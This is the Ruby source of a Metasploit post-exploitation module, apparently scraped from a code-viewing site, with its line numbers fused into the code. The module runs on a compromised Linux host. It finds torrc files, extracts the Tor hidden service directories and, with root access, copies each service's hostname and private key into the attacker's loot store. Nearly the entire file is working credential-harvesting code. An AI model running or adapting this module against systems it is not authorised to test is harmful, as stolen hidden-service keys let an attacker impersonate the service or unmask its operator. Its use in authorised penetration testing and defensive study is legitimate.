Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/tor_hiddenservices.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4# Adapted from post/linux/gather/enum_configs.rb5##67class MetasploitModule < Msf::Post89include Msf::Post::Linux::System10include Msf::Post::Linux::Priv1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Linux Gather TOR Hidden Services',17'Description' => %q{18This module collects the hostnames name and private keys of19any TOR Hidden Services running on the target machine. It20will search for torrc and if found, will parse it for the21directories of Hidden Services. However, root permissions22are required to read them as they are owned by the user that23TOR runs as, usually a separate account.24},25'License' => MSF_LICENSE,26'Author' => [27'Harvey Phillips <xcellerator[at]gmx.com>',28],29'Platform' => ['linux'],30'SessionTypes' => ['shell', 'meterpreter']31)32)33end3435def run36print_status("Running module against #{get_hostname} (#{session.session_host})")3738distro = get_sysinfo39print_status('Info:')40print_status("\t#{distro[:version]}")41print_status("\t#{distro[:kernel]}")42print_status('Looking for torrc...')43find_torrc44end4546def save(file, data, ltype, ctype = 'text/plain')47fname = ::File.basename(file)48loot = store_loot(ltype, ctype, session, data, fname)49print_status("#{fname} stored in #{loot}")50end5152def find_torrc53fail_with(Failure::BadConfig, "'locate' command does not exist") unless command_exists?('locate')5455config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")56if config.empty?57print_error('No torrc file found, maybe it goes by a different name?')58else59hidden = Array.new60# For every torrc file found, parse them for HiddenServiceDir61config.each do |c|62print_good("Torrc file found at #{c}")63services = cmd_exec("cat #{c} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")64# For each HiddenServiceDir found in the torrc(s), push them to the hidden array65services.each do |s|66hidden.push(s)67end68end69# Remove any duplicate entries70hidden = hidden.uniq71# If hidden is empty, then no Hidden Services are running.72if !hidden.empty?73print_good("#{hidden.length} hidden services have been found!")74else75print_bad('No hidden services were found!')76end7778if is_root?79# For all the Hidden Services found, loot hostname file80hidden.each do |f|81output = read_file("#{f}hostname")82save(f, output, "tor.#{f.split('/')[-1]}.hostname") if output && output !~ /No such file or directory/83end8485# For all the Hidden Services found, loot private_key file86hidden.each do |f|87output = read_file("#{f}private_key")88save(f, output, "tor.#{f.split('/')[-1]}.privatekey") if output && output !~ /No such file or directory/89end90else91print_error('Hidden Services were found, but we need root to access the directories')92end93end94end95end969798